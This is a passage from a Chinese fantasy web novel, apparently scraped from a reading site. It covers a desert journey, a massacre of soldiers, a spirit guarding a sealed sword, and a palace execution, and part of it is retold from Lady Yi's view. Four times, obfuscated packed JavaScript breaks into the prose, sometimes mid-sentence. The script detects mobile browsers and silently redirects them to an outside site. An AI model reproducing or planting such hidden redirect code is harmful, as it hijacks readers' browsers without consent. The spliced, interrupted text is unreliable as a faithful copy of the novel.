叶熙熙知道她在担心接下来的猃狁之行:“且行且看,没有发生的事,现在想再多也没有用。” “谢谢国师大人宽慰。”阿依低下头,“可是我一想到夫人也要同行,就觉得她会对世子不利。” “说起这位夫人,”叶熙熙想起方才在偏殿时,自己想偷偷绕到屏风后面,一睹夫人真容,却不料被一道力量阻隔在外,“你见过她长什么样子吗?” 阿依摇头。 叶熙熙微微抿唇,心中莫名有了一个想法,只是思考再三,没有说出口。 …… 此次奔赴猃狁,魏常只带了一队精兵。 魏漪虽是他的养女,但二人之间的关系似乎十分微妙,自见面起就没说过一句话,魏常更是连一个眼神都没有给她。 叶熙熙都怀疑是不是阿依的细作身份暴露了。 而木姜看上去也不似往常开朗,叶熙熙本以为他见到阿依会喜形于色,但他只是微微勾唇,眸色深沉,不知心中在思量什么。 或许真应了翊夫人的话,魏常和木姜都各怀鬼胎。 阿依似乎没察觉到这其中的暗涛汹涌,她发间插着木姜送她的簪子。 因任务特殊,他们一路上低调行事,日夜兼程,几日后终于抵达边关。 一队人马在边关休息了两日,期间阿依时刻留意着翊夫人的到来,然而直到一行人再度启程,她都没有发现翊夫人的踪影。 叶熙熙觉得自己离答案越来越近了,但她只对阿依说:“可能是行程有变,你千万不能耽搁,否则会让魏常和木姜起疑。” 于是阿依同一行人出了边关,向沙漠深处走去。 木姜是猃狁人,对沙漠中的路线了如指掌,他骑着马走在最前面。 按照计划,一行人往神兵所在的方向行进。他们携带的水有限,但木姜和魏常让他们不必担心,不出五日他们会途径一片绿洲,可以等抵达绿洲后再行补给。 走了两日,魏常观察四周,似乎察觉不对,驾马上前,跟木姜打手势:是不是走错方向了?我不记得来过这里。 木姜摇摇头,坚定地指向前方。 魏常虽不像木姜,在沙漠中土生土长,但他好歹在猃狁待了三年,不至于连路都认不出。 “后面的人听令,”他勒马,不顾木姜的坚持,调转马头,“接下来跟我走。” 远处,木姜骑在马上,迟迟未动。 他望着阿依,眼眸中的犹豫一闪而逝。 阿依不懂他是何意,但看他紧接着驭马追随队伍,便也跟了上去。 因前两日的耽搁,一行人携带的水有些吃紧。 跟随魏常又行进了五日,阿依的水囊见了底,其他人亦是如此。 沙漠干旱,烈日下人马俱疲,魏常不免恼火,这恼火的源头正是木姜。 他不信木姜能在沙漠中认错方向,如果不是前两日走错了路,他们现在应该已经到达绿洲了。 木姜是故意的。 剩下的水不足以让他们再撑两天,倘若无法开源,便只能节流。 如果说魏常只是有了这个念头,那木姜已经掩盖不住脸上的杀意。 沙漠是他的主场,异域少年眉目深邃张扬,烈日和干旱已经唤醒了他的野性。 阿依将他的神色尽收眼底,她将手覆在腰间刀柄上。 叶熙熙察觉到她的意图,被太阳晒蔫的眼睛倏地睁大了。 在其他人毫无戒备之时,阿依猛然抽刀,抹了走在她前面那人的脖子。 在身边的人反应过来之前,她又将身后两人砍倒在地。 惨叫声中,魏常冷冷看着她,却没有阻拦的意思。 木姜惊异地望着这一幕,她提着刀,任他人的鲜血在她身上开出花来。 “你疯了?”叶熙熙别过头去,她自穿书以来,第一次见到如此血腥又真实的场面,“不是让你不要杀人吗?你把任务当成耳旁风?” 阿依认真地看着她:“国师大人,阿依记得自己的任务。” “阿依重来一世,是为了阻止世子杀人,按照瓷仙娘娘说的,只要不杀人,下一世他便不会染上重病。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271888|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “瓷仙娘娘说,只要我这一世不杀人,下一世也能过上好日子,”她露出迷惑,“但阿依从没觉得自己过得不好,阿依不需要改变自己的前世。况且,如果阿依改变了自己的下一世,是不是就不能遇到世子了?” “所以,阿依已经决定好了,这一世,世子想杀的人,阿依都会替他杀掉,阿依会帮世子擦掉手上的血,哪怕是用自己的手。” 叶熙熙看着她决然不顾一切的眼神,忽然不知道该说什么。 她的支线任务是帮小悲拿走阿依的生魂,所以只要和阿依一起走完前世,无论结果如何,她的任务都能完成。 阿依有她自己的选择,叶熙熙不能也不应该左右她。 “随你吧。”她最后说道。 眼看同伴被她屠戮,剩下的人纷纷拔出刀,魏常也在其列。 木姜显然站在阿依这边,他盯着对面众人,一脸杀气。 阿依怕他动手,紧张地指指他,再摆摆手,示意他不要跟过来。 木姜一脸疑惑,他不是不明白她的意思,而是不明白她这样做的理由。 他明明可以帮她一起解决掉剩下的人,为什么阿依要拒绝? 但他知道自己不应该让阿依着急。 于是他温驯地点头,但目光始终落在战场上。 叶熙熙看出了他的打算:一旦阿依有危险,他会第一时间冲上去。 然而出乎所有人的意料,一眨眼的功夫,魏常迅速倒戈,向身边人挥刀。 阿依立刻冲过去,父女相互配合,将剩下的人尽数杀死。 静寂间,漫漫黄沙上只剩三道影子。 三个人继续赶路,剩下的水虽然不多,但足够他们支撑到绿洲了。 ——如果他们没有遇上沙暴的话。 阿依第一次来到沙漠,对沙尘暴更是闻所未闻。头顶蓦然一片昏暗,风沙四起,未等她反应过来,一双有力的臂膀将她揽入怀中,带她卧倒在沙地上。 漫长的沙暴结束后,阿依从木姜怀中露出头来,发现四周已经变了样。 他们的马匹,还有水囊,都消失了。 魏常把自己从沙子里刨出来,看着四下一片空茫茫,忍不住咒骂。 叶熙熙站在他们身后,方才沙暴来袭时,她仿佛与这个空间隔绝了,眼前一片白光,直到沙暴结束才得以视物。 她目睹他们的遭遇,却无能为力。 三个人只能忍着干渴,继续向前。一段艰难跋涉之后,魏常先倒下了。 阿依记得,魏常最终是因为叛国被处死的,所以他不能死在沙漠。 木姜显然也不想丢下他,于是他背着不省人事的魏常,和阿依一步一步踏在黄沙上。 但阿依也支撑不了多久了,她眯着眼睛,努力从眩晕中分辨脚下的路,然而地面朝她迎了上来。 她倒在沙子里。 叶熙熙趴在她身边,拍她的脸颊:“阿依?” 虽然直觉她应该不会轻易死在这里,但阿依脱水发白的嘴唇令她心慌。 木姜也已经濒临极限,他发丝上粘着沙土,努力撑着眼皮,看向天边落日。快入夜了,沙漠的温度会骤降。 他把阿依扶起来,从背后抱紧她,希望自己胸膛的热量能帮她抵御寒冷。 在叶熙熙讶异的目光中,木姜抽出腰间的匕首,割破手腕,放到阿依的唇上。 至此,即便他闭上眼睛,也可以安心了。 21. 他的剑 阿依醒来时,感觉自己仿佛死过一次。 她躺在陌生的帐篷里,木姜和魏常都在她身边。 叶熙熙一直守着她:“先别动,也别说话,你需要休息。” 她把木姜割腕相救的事告诉了阿依,听罢,少女眸中含泪,缓缓摸到木姜的手,与他十指相扣。 “你们倒下的地方,不远处便是绿洲,正巧有人驻扎在附近,发现了你们,便把你们救下了。” 她说话时,一个魁梧男子走进帐篷,是一张异域脸庞。 “就是他。”叶熙熙道。 男子听不懂汉话,但对中原人没有恶意。他方才外出,是去给他们取水。 阿依喉咙肿胀,发不出声音,只能用眼神向他传达谢意。 不多时,木姜也醒了过来,他虽然也极度脱水,但沙漠人的体质恢复起来更快。 确认阿依无事,他转过头,用猃狁语跟男子攀谈。 男子听完木姜的话,从罐子里取出一撮白色的粉末放在水碗中,喂魏常喝下。 木姜怕阿依误会,用手势安抚她:“他,睡。” 原来男子是这一带的巫医,木姜让他给魏常下了药,让魏常暂时不能醒来。 第二日,阿依恢复了体力,能够下地行走。趁魏常还在睡梦中,木姜向男子借走马,带着阿依往一个方向前行。 不知走到了哪里,木姜勒马,脸上浮现出戒备。 叶熙熙环顾四周,依旧是一片沙海,看不出有什么异常。 不知道木姜为何要带阿依来到这里。 阿依显然也不明白他的用意,一路上都在沉默。 木姜等了许久,烈日噬心,风沙起落,什么都没有发生。 就在他快要放弃,准备打道回府之时,阿依忽然跃下马,朝前方走去。 叶熙熙听到了某种声音,低沉喑哑:“你是第二个来到此地的中原人,但你不是为了神兵来的,所以吾愿意见你。” “不要让你身后的那匹狼过来,吾只和你谈。” 木姜欲驾马上前,但被阿依拦下:“您别担心,留在这里等我便好。” 朝那声音走近了些,沙地上升起一圈幽蓝的光,飘逸流动,像是一个结界。 踏入结界,阿依看到一个幽微的虚影站在光圈中央,正沉沉望着她。 “你不贪婪,但也不聪明。”虚影道,“带你过来的那个男人骗了你,你想知道真相吗?” 阿依不言。 “吾镇守此地已有五百年,守护之物便是你们口中的‘神兵’。” “你应当听说过那些传闻,神魔交战,天人遗物,神剑,皆为无稽之谈。” “神魔不会在凡人的土地上争斗,天人也不会将神剑遗落在凡间。” “这里是有一把剑不假,但这把剑的主人,是上古人族。” “碧落之墟,你听说过这个名字吗?” 叶熙熙睁大眼睛。 虚影继续道:“千年前,这里曾是魔物灾殃的所在。当年人魔交战,死伤无数,碧落之墟的大将燧乌与灾殃同归于尽,死前用剑将其封印。此后千年,人间再无魔物侵扰。” “所以,这把剑不是什么‘神兵’,也没有呼风唤雨的力量,它只是一个封印。” 阿依澄清:“无论这把剑的真相如何,我都无意将它取走。” “吾自然知道你没有这个心思,”虚影轻笑,“但你身后的那个男人有。” 木姜? “一年前,他带着一个中原人来到此处,目的也是这把剑。” “他知道如何解开这个封印。他从巫师口中套出了话:献祭一千条生魂,来代替剑加固封印,便能将剑取走。” 生魂……叶熙熙猛然想起,这不正是小悲在寻找的东西吗? 难道她的目的,也是这把剑? “他伙同那个中原人,献祭了整个部族,凑齐五十余条生魂,但这还远远不够。” 虚影似笑非笑:“你觉得,剩下的生魂,他会去哪里找?” 原来如此。 魏常带木姜回到中原,屡次上请带兵再赴猃狁寻找神兵,其实是为了把兵卒们骗到沙漠里,献祭他们的生魂。 真是歹毒。 阿依垂眸,向虚影保证:“我不会让他再杀人了。” 虚影道出了自己的担忧:“今日你拦下了他,明日又会有其他人打封印的主意,只要封印还在,后患无穷。” “五百年了,吾的力量已经消耗殆尽。吾走后,你可愿意留在这里,继续镇守封印?” 阿依不假思索地拒绝:“我还有自己的任务没有完成。” 虚影轻笑:“无碍,终有一日,你会回来的。” 话落,虚影消失,结界中幽蓝的荧光也寂灭了。 木姜在结界之外,没有听到阿依和虚影的对话。他面色沉沉,略有些不安。 阿依骑上马,在他怀里找了个舒服的位置,绝口不提方才发生的事:“我们回去吧。” 两人一路无言。 回到帐篷中,叶熙熙问阿依:“你接下来有何打算?” “阿依已经和世子说好,明天一早便离开这里,至于魏常,便让他一直睡着,等到了边关再说。” 阿依眉间萦绕忧虑:“世子这一世已经杀了不少人,阿依不能让他再错下去了。必须让他跟魏常分开,凭他一个人的能力,没办法献祭那么多生魂。” 她又问:“国师大人,魏常究竟何时才能被陷害致死?” 叶熙熙察觉到她的心思:“难道你想……” “国师大人恕罪,但阿依实在没有别的办法了,”少女拧着眉,“夫人本来就看不惯魏常,倘若我跟夫人说,献祭一事都因魏常一人所起,他残害性命,而且……他知情不报,隐瞒封印的真相,其实是为了独占神兵。夫人听到这些,一定会把他处死的。” “但是夫人未必会听信你的一面之词,”叶熙熙劝她冷静,“如果魏常把木姜供出来,他们不就都有麻烦了?” “那阿依便让世子不要回中原了,”阿依有些心焦,“他们抓不到世子,自然没办法处置他。” 这个办法似乎能奏效,她想到这里,舒展了眼眉:“对,就这么办。” 第二日一早,一行人启程离开沙漠,巫医古道热肠,骑着仅有的一匹马,载着魏常,一直把他们送到沙漠边缘。 同巫医辞别后,一行人来到边关城下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287776|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿依停下脚步,凝视着木姜,用手势跟他表明:“您留在这里等我,不要跟我回国都了。” 木姜平静地望着她。 “我知道封印的事,也知道您的目的,我不关心这些,我只想让您好好活着。”阿依眼中满是恳求,“等我在国都处理完事情,会回来找您。” 她拔下头上的簪子,放在木姜掌心,待他握住簪子,她将手覆在他手背上:“答应我,我回来之前,不要杀人。” 良久,木姜点了一下头。 他将簪子插在她发间,笑容淡淡。 …… 把木姜安置妥当后,魏常也苏醒了。 他对这几日沙漠中的事浑然不知。阿依同他略讲一二,隐瞒了木姜带她去封印的事,只说他们背巫医救下,而后离开了沙漠。 此行毫无收获,魏常难掩不甘。 回到国都后,阿依先去见了翊夫人。 她将封印中同虚影的对话和盘托出,然后把一切罪责归咎到魏常身上。 至于木姜,她的说辞是,沙暴之后,木姜便消失了。 至于如何寻找到封印的所在,她说一切都是机缘巧合。 夫人坐在屏风后,声音中透着疲倦:“魏漪,出去这一趟,你变了许多。” “从前的你,若是不想让我知道什么事,便会低下头,闭紧嘴巴。”她似笑非笑,“现在的你,说起谎话来真是面不改色,如何不令我刮目相看。” 谎言被她无情戳破,阿依吓得脸色发白,一时间不知该如何辩驳。 夫人轻声问:“你喜欢那个木姜,对吗?” 见阿依不敢应声,她语气变得凌厉:“说话!” 阿依闭上眼睛:“是。” 一声轻笑,她想象中的狂风骤雨并未来临,夫人的声音反而缓和了些:“你年纪小,会动心也是正常。” “我会帮你。”夫人接下来的话,令阿依惊愕地抬起头,“既然你想把一切罪过都推给魏常,不如直接告他叛国。” 此言一出,叶熙熙发觉,哪怕重来一世,人物的命运也依旧运行在原有的轨道上。 夫人道:“倘若如你所言,指认魏常欺君,知神兵下落而不报,还妄想献祭我朝士卒,那便等于告诉君上,神兵和封印确有其事。” “君上迷信鬼神,只怕到时候非但不判魏常有罪,反而封他为功臣。” “有些事,要么不做,要么做绝。”屏风后伸出一只骨节分明的手,指腹有薄茧,昭示主人的将士身份,“把这个放在魏常身边,剩下的不用你管。” 阿依接过她手中的骨符,低声称是。 “魏漪。” 临走时,夫人叫住她。 “你跟我很像,都是为了达到目的,不择手段的人。”她悠悠道,“亦从来不去管别人口中的是非对错。” 回到住处时,阿依将玉符放好,正想同叶熙熙商量对策,只见一个轻盈的身影从窗子翻进来,落到阿依面前。 “……世子?”阿依目瞪口呆,“我不是让您待在边关吗?” 木姜微微抿唇,而后在她惊异的目光下,说出一口流利的汉文:“阿漪,我错了,别丢下我。” “我想你了。” 22. 一木枯 他的一句思念,让阿依一头栽了进去。 他想她了,她又何尝不是呢。 晕晕乎乎中,阿依问他:“你会说汉文?那之前……” 木姜没有对过去的事多作解释,只是脉脉地看着她,那种珍视,是任何一个女子都希望从自己心上人眼中看到的:“我之前骗了你,我有我的苦衷,但以后我不会对你撒谎,否则就让我的牙齿和舌头都变成沙子。” “可是你为什么要回来?”阿依捂住他的嘴,不让他说这些骇人的话,“我不是和你说过,只要我把事情都解决完,就会去边关找你?” 木姜摇摇头:“我听到你们说话了。魏常,是我的恩人,他不能死。” 他向阿依讲述了自己的身世。猃狁部族崇尚力量,最强大的人才能得到其他人的认可成为首领,没有中原的世袭一说。 木姜的父亲曾是他们部族的首领,但在木姜年幼之时,便亲眼目睹父亲被他最得力的手下割下脑袋。 部族易主,新任首领继承了木姜的母亲。他本想杀死木姜以绝后患,但碍于他母亲的苦苦恳求,最终还是心软放了他一条生路。 彼时复仇的种子便在木姜心中埋下,他从小长到大,受尽其他人的冷眼与刁难,但这些都成为滋养他胸中仇恨的养料。 作为前任首领之子,他一直都知道沙漠里封印着一把神剑,父亲和巫师用了十余载都未能将封印解开。 而新首领对神剑的态度却十分暧昧,他没有延续前任首领的做法,而是叫巫师加固封印,让神剑永无现世的可能。 这对木姜来说无疑是件好事,至少在他长大之前,神剑不会落到旁人手中。 后来部族俘虏了一名中原大将,中原人一贯善于伪装,木姜在暗处观察许久,才摸清楚他的真实目的,居然也是神剑。 两人不谋而合,但彼此心知肚明,合作只是权宜之计,谁都不会让神剑落入对方手中。 “但是后来,他救了我的命,两次。”木姜犹豫地说出口,“第一次,我带他去封印神剑的地方,被巫师发现,我中了巫术险些丧命,是他冒着危险斩杀了巫师。” “第二次,我和他暗中通信被首领发现,是他与我通力斩杀了首领,又把我带回中原。” 虽然魏常救他,是出于他们目的一致的考量,但这份恩情,他不得不报。 对阿依而言,她想要魏常的命,是怕他对木姜不利:“可是魏常欺上的罪名已经落实,而且他确实打算献祭将士解开封印,夫人不会留他性命的。” “我会悄悄带他走,从此再也不靠近国都半步。”木姜恳求道,“我知道,在你心中,我谎话连篇,图谋不轨。但自从边关一别,我想了许多,如今我已报了杀父之仇,多年心愿已了,没必要执着于神剑。” 曾经他确实想过成为神剑之主,让猃狁各部和中原都为他效命,成为天下霸主。“因为你告诉我,神剑不过是一把普通兵器,没有人们臆想中的威力,我相信你。而我也相信你说的,想要平定人的天下,只能靠人力,而非鬼神。” 阿依露出一瞬间的迷惑,是了,她好像从未跟木姜说过这些话。 但是一看到少年的笑眼,她便将这些疑惑抛到脑后了。 “其实我在猃狁时便听到过你的名字,”木姜凝望着她“我一直很好奇,能让猃狁各部闻风丧胆的女将军,到底长什么样。” 后来他不光见到了,还哄着对方收下了自己的簪子。 得知她要随他们一起进入沙漠寻找神剑,他再三迟疑,最终还是放弃了原本的打算,他不能让她去献祭。所以他故意走错路,只为了耽搁行程,找机会提前杀掉随行的人。 献祭的人数不够,魏常便不会坚持去找神兵封印,最终他们只能无功而返。 倘若没有那场突如其来沙暴,他一定能带她顺利抵达绿洲,不会有性命之虞。 不过好在有惊无险,他们不仅活下来,而且将彼此的性命都放在对方手中。 那一刻,木姜决定这辈子足矣。 听他倾诉衷肠,阿依已经忍不住湿了眸子,她从来没办法拒绝他:“你什么时候带魏常走?” 木姜说今晚。 深夜城关守卫重重,而木姜又是猃狁人,一旦被发现只怕凶多吉少。阿依本想和他们一道,却又顾忌自己身份特殊。左右为难时,木姜让她安心待在此处,不必为他们担忧。 “阿漪,等我离开国都后,便留在边关。”临别时,木姜对她说,“等你下次出征时,我为你送行。” 阿依告诉自己这不过是暂时的离别,两人以后还能相见,但仍忍不住酸涩:“记得万事小心。” 是夜,阿依坐在窗边,月华笼上她的指尖,她盯着地上自己的影子出神。 叶熙熙陪在她身边,或者说,她在等着什么事发生。 如果不出意外,今晚过后,一切便结束了。 “漪姑娘……” 门外有人唤她,还是那个熟悉的宫人,“姑娘可是睡了?翊夫人这会儿急着召您过去。” 阿依一个激灵,不安的眼眸和叶熙熙对上:“国师大人,是不是出事了。” 叶熙熙没说话,只是安慰地握住她的手。 这次宫人没有领她们从正门进殿,而是绕到偏门,示意她们悄悄进去。 门后有一层帷帘,阿依小心掀开一个缝,便见殿内不仅站着翊夫人,还有魏常、木姜,他们面朝一个陌生男子,一身玄衣,应当是当朝的国君。 翊夫人背对着她们,因而看不到脸。 阿依见本该逃走的木姜出现在此处,自觉不妙,慌忙问叶熙熙:“怎么办,国师大人?” 叶熙熙让她稳住心神:“先听听他们在说什么。” “魏将军,你不是说这个猃狁人在沙漠里失踪了吗,为何今夜你会同他在一起?” 君上问完,翊夫人道:“魏常与猃狁暗通曲款,已不是一天两天了,难道君上还要视而不见吗?” 魏常辩驳:“君上,臣对您忠心耿耿,没有对您说过半句谎言。臣也不知木姜为何突然来找臣,而且他出现不久,翊夫人便派人围了臣的府邸,以叛国的罪名将臣押进宫来。” “自从一年前魏常回到国都,我便疑心他被猃狁策反,于是暗中派人监视他。”翊夫人毫不避讳,“终于,趁今日魏常与木姜暗中见面时,我的手下截住他们,并木姜身上找到了这个。” 她伸出手,掌中赫然是先前被阿依拿走的玉符。 阿依一惊,在身上搜寻一番,发现玉符不知何时失踪了。 国君将那玉符细细看过:“魏将军,这是你的兵符。” 魏常拧眉:“君 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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国君轻叹一声:“母亲。” “此事前前后后余已知晓。”太夫人来到他身边,却并未给他一个正眼。 “魏将军,我只问你一句,”妇人神色淡淡,“你可曾找到神兵的下落?” 太夫人的威压远胜国君,魏常不敢造次:“恕臣无能。” 妇人冷哼一声,随即看向翊夫人:“翊儿,你受了委屈,余相信你,也愿意给你机会自证清白。” 她拔出侍从的剑,丢到翊夫人脚边,目光落在木姜身上:“杀了他。” 不! 阿依欲冲出帷帘,奈何被面前有一道无形的墙拦下,同先前制止叶熙熙绕到屏风后面的阻隔如出一辙。 眼泪奔涌而出,她眼睁睁看着翊夫人从容捡起剑,未曾眨眼,便将木姜捅了个对穿。 太夫人露出赞许的笑容。 “魏常意欲叛国,按律当诛,”她垂下睫羽,悠悠道,“便劳烦翊儿动手吧。” 魏常没想到这把剑会落到自己头上,但是君命难违,且翊夫人武艺高强,他送命已成定局。 咚的一声,随着第二具尸体倒下,翊夫人染了一身血污。 23. 第 23 章 她是当朝君夫人,亦是战功赫赫的女将,曾深入猃狁三次,大胜而归。 国君信仰巫风,总认为人的力量远不及鬼神。 她从来对此嗤之以鼻。前朝的江山,是先祖打下来的,如今的国,亦是她带兵来守,从不见有神仙下凡相助。 天地不仁,以万物为刍狗。人的国家,只能由人护住。 后来,国君从巫师口中得知猃狁有神兵的存在,但不知道神兵在何处。 得神兵者得天下,这是巫师说给他的话。 国君心动,得母亲太夫人的默许,派大将魏常去攻打猃狁,但打仗只是一个幌子,魏常假意投诚,而后留在猃狁,暗中探查神兵下落。 三年后,魏常带着猃狁首领的项上人头回朝。国君亲自宴飨犒劳他,她亦在其列。 她垂眸,听魏常讲述此行遭遇的种种凶险。 据他所言,猃狁首领会定期带亲信和巫师去沙漠深处祭祀。 他多次跟踪祭祀人马,奈何他对沙漠实在陌生,又或许是猃狁人实在狡猾,每次途中,祭祀队伍总会在他眼前消失,让他无论如何也无法跟上。 话落,魏常示意部下将异族少年带上来。 翊夫人第一次见到他,只觉得少年双目锐利如鹰隼。 然而再桀骜的鹰,来到中原的土地,也只能暂时掩藏锋芒。 “君上,”他站到少年身边,禀明国君,“臣无能,未曾查明神兵所在,但臣找到了知晓神兵下落之人。” “此人名为木姜,是臣在猃狁部族中策反的人。” 魏常多次暗中跟踪祭祀人马,虽谨小慎微,但难免被人察觉到异常。 而最先发现他形迹可疑的人,便是木姜。 但木姜并未告发他。他与部族首领有血海深仇,之所以留在部族,只是为了有朝一日能够报仇。 木姜说自己知道神兵的大致方位,两人很快达成交易,魏常帮助他斩杀部族首领,而木姜要协助他找到神兵。 两人谋划扮成喽啰,混入祭祀队伍,然而还未实施,便被部族中的巫师觉察。木姜中了巫术,险些丧命,而魏常当机立断斩杀了巫师,才让少年捡回一条命。 后来他们二人暗中勾结一事败露,生死一线,于是两人通力斩杀了首领。 魏常知道自己的卧底身份败露,为了保命彻夜逃离猃狁,不想回到边关后,没过几天,又遇到了木姜。 原来少年被部族当成了勾结中原人的叛徒,现在无处可去,万般无奈只能来找他。 “臣心中权衡一番,觉得留着他还有大用,便将其带回中原,听凭君上吩咐。” 听他讲完事情的来龙去脉,国君大喜,当即下令,命魏常木姜即日启程,率精锐进入沙漠去找神兵。 她一直在旁边听几人谈话,并未开口打断,直到此时,才悠悠问道:“魏将军,人中了巫术,是什么样子?” 她一副兴味盎然的模样:“你言,木姜中了巫术,有性命之虞,世上当真有这般厉害的巫术吗?” “臣心知此行所见过于玄妙,夫人不信亦在情理之中。”魏常流露出惋惜,但仍信心十足。 因为他知道,有一个人最信这种玄妙之事,那便是国君。 未等国君发话,她停杯投箸,态度显而易见:“此事不易操之过急,魏将军刚回来,便好生歇着,等到养好精神再去也不迟。” 因她的反对,寻找神兵一事暂且搁置。 接下来的一年时间中,她一直暗中派人监视魏常木姜两人,也曾亲自召见魏常议事。 而木姜,说来有几分耐人寻味。第一次见少年,她便察觉到他对自己的关注。她认得那种眼神,是一个男性对女性的欣赏,这种眼神她鲜少在旁人眼中见过。 国君惧她。她大婚那日,为了不让他碰自己,一把抽出佩刀插进床中间。面对森凉的白刃,男人的脸都吓没了血色。 部下畏她,她曾骑马冲进百人队伍中,一刀杀数人。亦曾手握弓箭,取百丈外敌人性命。 只有少年带给她如此新鲜的感受,她开始留意少年这个人,但她始终铭记,他来自猃狁,是她的敌人。 少年似乎察觉到她对自己并不排斥,之后每次她去校练场骑马射箭,少年都会出现。 少年从不吝惜在她面前展示自己精湛的骑术和射艺,而收到他挑衅而满怀期待的的目光,她便也放开手脚,让他见识一下中原女子的力量。 经过数次莫名其妙的“比试”,两人旗鼓相当,彼此也多了几分赏识。 秋收的燕射礼前,少年偷偷送了她一枚簪子。簪子为香木所制,手艺略显粗糙,但勉强能用。 簪子的含义,两人心知肚明,她轻轻一笑,在他面前将簪子插进发中,也没有错过少年脸上的薄红。 燕射礼中,她开弓便射中两只野兔,狩猎正在兴头上,却不慎弄丢了簪子。 她翻身下马,循着来路仔细寻找,却意外遇到了熊。 临危不乱,她射出两箭,正中熊眼。将大家伙激怒后,她敏捷地穿梭于林木中,只待时机合适,再抽刀将其一击毙命。 此事,少年吹着骨哨,从天而降,二人合力杀死了熊。 危机的余韵还未褪去,少年朝她伸出手,掌心赫然是那枚簪子。 或许他看到了她焦急折返、四下寻找的模样,又或许,他只是在来时碰巧在地上发现了被她遗落的簪子,物归原主。 思绪千回百转,她道了声谢。 燕射礼后,国君再议派兵探寻神兵一事,她妥协一步,不再反对,但要求自己也要同去。 出城那日,木姜盯着她,陷入沉思。 进入沙漠后,少年故意带错了路,耽误了两日的时间,一行人携带的水有些吃紧。 为了减少水的消耗,木姜和魏常故意引开她,然后合力将队伍中的士卒全部杀光。 后来得知士卒们惨死的她,恨不得将两人千刀万剐。 这一刻她见识到少年的狠辣,心里计算好在抵达绿洲的那一刻便杀了他和魏常。 然而天有不测风云,未等三人见到绿洲的影子,便遇到了沙暴。出乎她意料的,濒死时,少年以血饲她,为她留下一线生机。 万幸,他们三人被巫医所救,魏常还吊着一口气,木姜也活了下来。 救命之恩在前,她也不知该如何对待眼前的少年。 而后,少年将她带去了封印之地,这亦是她第一次,亲眼见到传说中的“巫术”。 那位同镇守封印的灵对她说:“你是第二个来到此地的中原人,但你不是为了神兵来的,所以吾愿意见你。” “不要让你身后的那匹狼过来,吾只和你谈。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309078|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她依言将木姜拦下,独自来到灵体面前。 “你不贪婪,但也不聪明。”灵说道,“带你过来的那个男人骗了你,你想知道真相吗?” “吾镇守此地已有五百年,守护之物便是你们口中的‘神兵’。” “你应当听说过那些传闻,神魔交战,天人遗物,神剑,皆为无稽之谈。” “神魔不会在凡人的土地上争斗,天人也不会将神剑遗落在凡间。” “这里是有一把剑不假,但这把剑的主人,是上古人族。” “千年前,这里曾是魔物灾殃的所在。当年人魔交战,死伤无数,碧落之墟的大将燧乌与灾殃同归于尽,死前用剑将其封印。此后千年,人间再无魔物侵扰。” “所以,这把剑不是什么‘神兵’,也没有呼风唤雨的力量,它只是一个封印。” 灵似乎多虑了,她对这把剑的来历并无兴趣:“无论这把剑的真相如何,我都无意将它取走。” 灵淡淡一笑:“吾自然知道你没有这个心思,但你身后的那个男人有。” “一年前,他带着一个中原人来到此处,目的也是这把剑。” “他知道如何解开这个封印。他从巫师口中套出了话:献祭一千条生魂,来代替剑加固封印,便能将剑取走。” “他伙同那个中原人,献祭了整个部族,凑齐五十余条生魂,但这还远远不够。” “你觉得,剩下的生魂,他会去哪里找?” 原来如此。 那一刻她终于明白,魏常带木姜回到中原,屡次上请带兵再赴猃狁寻找神兵,其实是为了把兵卒们骗到沙漠里,献祭他们的生魂。 她向灵起誓:“只要我在一日,绝不会让他们的诡计得逞。” “今日你拦下了他,明日又会有其他人打封印的主意,只要封印还在,后患无穷。” “五百年了,吾的力量已经消耗殆尽。吾走后,你可愿意留在这里,继续镇守封印?” 她摇摇头:“我还有自己的任务没有完成。” 灵深深一笑:“无碍,终有一日,你会回来的。” 回到边关后,她念在救命之恩,打算留木姜一命,但绝不带他回中原,给他祸害中原子民的机会。 边关前,她威胁木姜,如果敢回中原就杀了他,绝不手软。而木姜知道拗不过她,只能暂且答应下来。 魏常醒来后,她故意隐瞒了封印一事,只说木姜故意带错路是为了加害二人,后来怕事情败露难逃一死,便丢下他们离开了。 听完这番话,魏常半信半疑,但嘴上只能怪自己识人不清,求她赦罪。 回到王宫之后,她发现木姜竟然偷偷跟过来了。她一言不发,直接刺了他一剑,正中锁骨。 